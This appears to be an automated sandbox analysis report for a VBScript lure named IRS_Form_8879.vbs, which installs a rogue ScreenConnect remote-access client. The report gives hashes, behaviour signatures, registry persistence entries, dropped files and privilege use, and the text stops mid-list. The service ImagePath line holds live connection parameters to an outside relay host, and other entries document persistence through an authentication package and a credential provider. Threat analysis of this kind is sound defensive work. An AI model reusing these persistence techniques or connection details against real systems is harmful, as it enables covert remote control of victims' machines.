Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/08/2026, 17:14
Static task
static1
Behavioral task
behavioral1
Sample
IRS_Form_8879.vbs
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
IRS_Form_8879.vbs
Resource
win11ltsc2024-20260709-en
General
- Target IRS_Form_8879.vbs
- Size 14.4MB
- Sample260810-vr4wfahe22
- SHA256 752cae85cdf4227ff78f69bb905dca965b673d3a37df6970096d447fa842010a
- MD5 8ecdd758682196bb21cb17dfd2aff0e5
- SHA1 ef3024dc12d493ad5da34e99176aa52d3a45c3a0
- SHA512 2788dffccb99b7dd23127032d4c9688c7ad4a1667285e67341829e7f3a90a32415220c011c3289e2cc6686a4be1119805ff65d1c944dae72c14bdd78c0d4367e
- SSDEEP 49152:J2L+4DT4y3ExlTRxY3UQnE261ZYybwKcj3DHUVgMkpz2yBxQd4Y6QrlYLVluHr+w:H
- TLSH T17FE6D7243DFF501DB3B3AE999FD8B8AF995EF673270A20B9206103468712D81DD91739
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (e372956e875cf90e)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (e372956e875cf90e)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=2.27.49.47&p=8041&s=ac121592-f9a3-47e6-8e5f-82a3ffec7ac2&k=BgIAAACkAABSU0ExAAgAAAEAAQANxVToV2CJXpn%2bKz67VH0zv6%2blU8GZO7BbB9kKj7ahG0IXirnOsgH%2b6%2bVKHSCBYq9mnJykSkuBwdzjDt6sLI3P8ahBHf6ICpR1gMJKf7%2b%2fyHiPA2JCW9HCVu9tbTDjzemTIdJ54QAdB9Wl0B7ltI%2fqtkj2cjlp9dWmtftblwL2g8j%2fFzdrvMwn1z%2fbpnKCrDchkZCp68QPQxBddae31bQc2%2bAC6hobqMjZFR%2fvWh85qnkCCNQsgMD%2f3jS0UVLQA%2bsMEjOTd6OL9MEul24ADyvSGuTKDbIRfOPtjpTVu7jRRxEX6MSRKzO1CXTPkU2pueSGloBlZ1lhG1Rpz3i6sPqZ&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA1PMx2EivrEepqWv6gSL7SQAAAAACAAAAAAAQZgAAAAEAACAAAADWj5Ti90mFuSNX%2bFK9KpjxYun7%2fPGUV1iX6SA8D0QKLgAAAAAOgAAAAAIAACAAAADfYZP19vDI8BlQYELZJ1UUuw2fzYphugkXyPSz3CCiEaAEAACYuRnunOVjCqoduTeLTd%2fJDiA3DZXA4aDY%2beWGPCs6%2bIidoA%2brhiWR9Ddw6DrK%2biwW5grtoQSRkDeCb7OO%2fCPM8wnWn0fSMdfTVr8uHXu5FaJrsY1HaSLU98o4iUFu0s%2fOttQP%2f%2bnt38fVhVUoTmGwM6Ze5%2bl%2b%2fqUgc%2bq7uo2p59GQxoVoIyScqu9q%2b7LdnI%2fedgPZG3sUwSjbMVIaZ%2b0HXXBBqpUUyMOmUpZxcKaIaqB5qGE7wU0j1jTWXTNitpott%2f0flFutr34jRD0wV%2bV3PF60Hk134dCCy3wqvR7NWgh20guSG8Wd0GczpoHmW2SK2yVVsbOa%2bDKohCnzSyaeNcVEoxiNO6z2LNr99v7LLs5IuHsol8zhaWbBmfmUOAg3IZ%2b9n66umdVdAluG2HB6wxDAe3xKIaMQ8eNWXQhh%2fR7tok6mWwFWcZKbxrI7MlMYY%2bh6XEdoXCaaNVRfDKBzhCYZSonqFXRHH8T%2fpvs4nEHGzbvRIRpmlESYAmel3MDwGlog1U1BVekVOykxj1FvaJR238ThdVQVXm%2brM7trfBRrJfkAyzt%2f%2b5oVwiTdf3UNsUNqSqnLHZ7csZQa19HqzCnuJp9ehCH8GPOqaS%2feShxToTrVrzREADwzxTi5AscLwEerrLNIK2YYh%2fOdDNKrePczNgulGS%2f%2b9kDTaCgSWcF8ziny0eX1EGzmg3i0l0MlLytYRJFvMpZUaOfHpog4r0wKSfocekMupaeSaBvYsZGJKt6yA9ZnJwiSG8%2fcbmgit1dTwgkHjTtlQt1X0le6e9AL%2fLsNhyfaeaHYdYLfHrOZD%2fbxI4ZNZhG48oLCB1NKPIKWkOnHLy9TtT2uWM8xFZ4CE64Tn5Y3VESReeLGfGgmNBWflUoIxMluUewHtWM%2bjBaQVX9OaWTlAblNbzads1m%2fxeWzU%2bBsliUh1e8D45nYw9MaaweOkpaGRV2deTeJ3Cv0QIJOSqm1mx7DLpVKu2z6VbIsNfA9W2OPZTXUFgoSYjj2l082UIpTMxGvyKct5YX%2fk9df1mBwxgRPdOuBShlcU69jkWcPQ0BhR1wrZHSx7olzeMuLMREvxHUu41s1fy%2bYb%2buEogg72Bk%2b2R54rAjiMhK7BQi%2fW6GwX%2b5Eim%2brjp%2fodNM99VJ4HuOAlfXIH0NF8pM74KzF1OR4Wq7hstZRFyszVP7bkwVuj62WnJcjJHgg3YLAghfu%2blIDXhBmF1vrKNlo9xgoylAtiVm%2frrQntA7jjczzExHriGVW%2b30P8%2bgjG1MGP9iWtey5515XgPiry2rP4cQWDO79x25ghlGnXUIv8mU7oLZACg7np3msH6bqDyHJHAY7ADZfgkESTyYFWVCGPQcLb5dWUZ7s9LFLM43inzGpjs84mr%2fiBwAeLWVyuuPzMquhdvoNlhAozjeR1w6BlxmupYK81X%2fgEA9ICgK20nTBkcCCxg%2f4IoyJ9G9lgy%2bxSSIW%2baVGCIAYIMhyma%2b8xCmOyEIpKCrHRSa7Y4Eik80O5Y0%2bS5Wm3qLU0ekz%2bza%2fHvGhYH%2fS%2bMYBPKbNxWVPIXlmpEmeo1%2b6JWmtcwhWmFd9At07q64ZmkAAAACRr9WRhEp65DhoTYX5LewBmd%2b99%2b743EnDJY0IdKTlXy%2bVDErexdXpEJqKiBWUt3vR48qJA5KK9ADf32fU3MzQ\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 6 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/files/0x000f00000001c525-34.dat revoked_cert_connectwise behavioral2/memory/2428-39-0x0000000005D00000-0x0000000005FF2000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000c00000001c542-295.dat revoked_cert_connectwise behavioral2/memory/2196-331-0x0000000004EF0000-0x0000000004FC5000-memory.dmp revoked_cert_connectwise behavioral2/files/0x000c00000001c53f-330.dat revoked_cert_connectwise behavioral2/files/0x000c00000001c53d-336.dat revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 4 IoCs
pid Process 2428 ScreenConnect.ClientSetup.exe 2196 ScreenConnect.ClientService.exe 3896 ScreenConnect.WindowsClient.exe 2200 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 2864 MsiExec.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2804 rundll32.exe 2076 MsiExec.exe 5772 MsiExec.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe -
pid Process 5820 certutil.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650033003700320039003500360065003800370035006300660039003000650029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e372956e875cf90e)\5trwago1.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (e372956e875cf90e)\5trwago1.tmp ScreenConnect.ClientService.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 3008 WScript.exe - Drops file in Program Files directory 17 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.en-US.resources msiexec.exe - Drops file in Windows directory 17 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFE63D2B43FCB7F4B4.TMP msiexec.exe File created C:\Windows\Installer\e5a02c2.msi msiexec.exe File opened for modification C:\Windows\Installer\{9B03CBD5-119B-7DFD-0FEC-2E02F37365F3}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF4025E2381DE44806.TMP msiexec.exe File created C:\Windows\Installer\e5a02c0.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI84E.tmp msiexec.exe File created C:\Windows\Installer\{9B03CBD5-119B-7DFD-0FEC-2E02F37365F3}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\e5a02c0.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIA44.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFCFE176CA9EF79B35.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{9B03CBD5-119B-7DFD-0FEC-2E02F37365F3} msiexec.exe File opened for modification C:\Windows\Installer\MSI88E.tmp msiexec.exe File created C:\Windows\Installer\wix{9B03CBD5-119B-7DFD-0FEC-2E02F37365F3}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\SystemTemp\~DFF74B4BD9DE40227D.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe -
pid Process 292 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientSetup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ffbf1fc65d8bbf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ffbf1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ffbf1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ffbf1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ffbf1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe - Modifies registry class 37 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\Version = "419561476" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\216F1C23A94E8E903E2759E678C59FE0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\216F1C23A94E8E903E2759E678C59FE0\5DBC30B9B911DFD7F0CEE2203F37563F msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-915F-F8A0FE0C0873}\ = "ScreenConnect Client (e372956e875cf90e) Credential Provider" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\shell msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-915F-F8A0FE0C0873} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-915F-F8A0FE0C0873}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (e372956e875cf90e)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.2.4.9229\\e372956e875cf90e\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.2.4.9229\\e372956e875cf90e\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\ProductName = "ScreenConnect Client (e372956e875cf90e)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-e372956e875cf90e msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\ProductIcon = "C:\\Windows\\Installer\\{9B03CBD5-119B-7DFD-0FEC-2E02F37365F3}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\PackageCode = "5DBC30B9B911DFD7F0CEE2203F37563F" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-e372956e875cf90e\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (e372956e875cf90e)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-e372956e875cf90e\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-915F-F8A0FE0C0873}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5DBC30B9B911DFD7F0CEE2203F37563F msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5DBC30B9B911DFD7F0CEE2203F37563F\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5DBC30B9B911DFD7F0CEE2203F37563F msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-915F-F8A0FE0C0873}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 292 powershell.exe 292 powershell.exe 5088 msiexec.exe 5088 msiexec.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe 2196 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 292 powershell.exe Token: SeIncreaseQuotaPrivilege 292 powershell.exe Token: SeSecurityPrivilege 292 powershell.exe Token: SeTakeOwnershipPrivilege 292 powershell.exe Token: SeLoadDriverPrivilege 292 powershell.exe Token: SeSystemProfilePrivilege 292 powershell.exe Token: SeSystemtimePrivilege 292 powershell.exe Token: SeProfSingleProcessPrivilege 292 powershell.exe Token: SeIncBasePriorityPrivilege 292 powershell.exe Token: SeCreatePagefilePrivilege 292 powershell.exe Token: SeBackupPrivilege 292 powershell.exe Token: SeRestorePrivilege 292 powershell.exe Token: SeShutdownPrivilege 292 powershell.exe Token: SeDebugPrivilege 292 powershell.exe Token: SeSystemEnvironmentPrivilege 292 powershell.exe Token: SeRemoteShutdownPrivilege 292 powershell.exe Token: SeUndockPrivilege 292 powershell.exe Token: SeManageVolumePrivilege 292 powershell.exe Token: 33 292 powershell.exe Token: 34 292 powershell.exe Token: 35 292 powershell.exe Token: 36 292 powershell.exe Token: SeDebugPrivilege 2428 ScreenConnect.ClientSetup.exe Token: SeShutdownPrivilege 2640 msiexec.exe Token: SeIncreaseQuotaPrivilege 2640 msiexec.exe Token: SeSecurityPrivilege 5088 msiexec.exe Token: SeCreateTokenPrivilege 2640 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2640 msiexec.exe Token: SeLockMemoryPrivilege 2640 msiexec.exe Token: SeIncreaseQuotaPrivilege 2640 msiexec.exe Token: SeMachineAccountPrivilege 2640 msiexec.exe Token: SeTcbPrivilege 2640 msiexec.exe Token: SeSecurityPrivilege 2640 msiexec.exe Token: SeTakeOwnershipPrivilege 2640 msiexec.exe Token: SeLoadDriverPrivilege 2640 msiexec.exe Token: SeSystemProfilePrivilege 2640 msiexec.exe Token: SeSystemtimePrivilege 2640 msiexec.exe Token: SeProfSingleProcessPrivilege 2640 msiexec.exe Token: SeIncBasePriorityPrivilege 2640 msiexec.exe Token: SeCreatePagefilePrivilege 2640 msiexec.exe Token: SeCreatePermanentPrivilege 2640 msiexec.exe Token: SeBackupPrivilege 2640 msiexec.exe Token: SeRestorePrivilege 2640 msiexec.exe Token: SeShutdownPrivilege 2640 msiexec.exe Token: SeDebugPrivilege 2640 msiexec.exe Token: SeAuditPrivilege 2640 msiexec.exe Token: SeSystemEnvironmentPrivilege 2640 msiexec.exe Token: SeChangeNotifyPrivilege 2640 msiexec.exe Token: SeRemoteShutdownPrivilege 2640 msiexec.exe Token: SeUndockPrivilege 2640 msiexec.exe Token: SeSyncAgentPrivilege 2640 msiexec.exe Token: SeEnableDelegationPrivilege 2640 msiexec.exe Token: SeManageVolumePrivilege 2640 msiexec.exe Token: SeImpersonatePrivilege 2640 msiexec.exe Token: SeCreateGlobalPrivilege 2640 msiexec.exe Token: SeCreateTokenPrivilege 2640 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2640 msiexec.exe Token: SeLockMemoryPrivilege 2640 msiexec.exe Token: SeIncreaseQuotaPrivilege 2640 msiexec.exe Token: SeMachineAccountPrivilege 2640 msiexec.exe Token: SeTcbPrivilege 2640 msiexec.exe Token: SeSecurityPrivilege 2640 msiexec.exe Token: 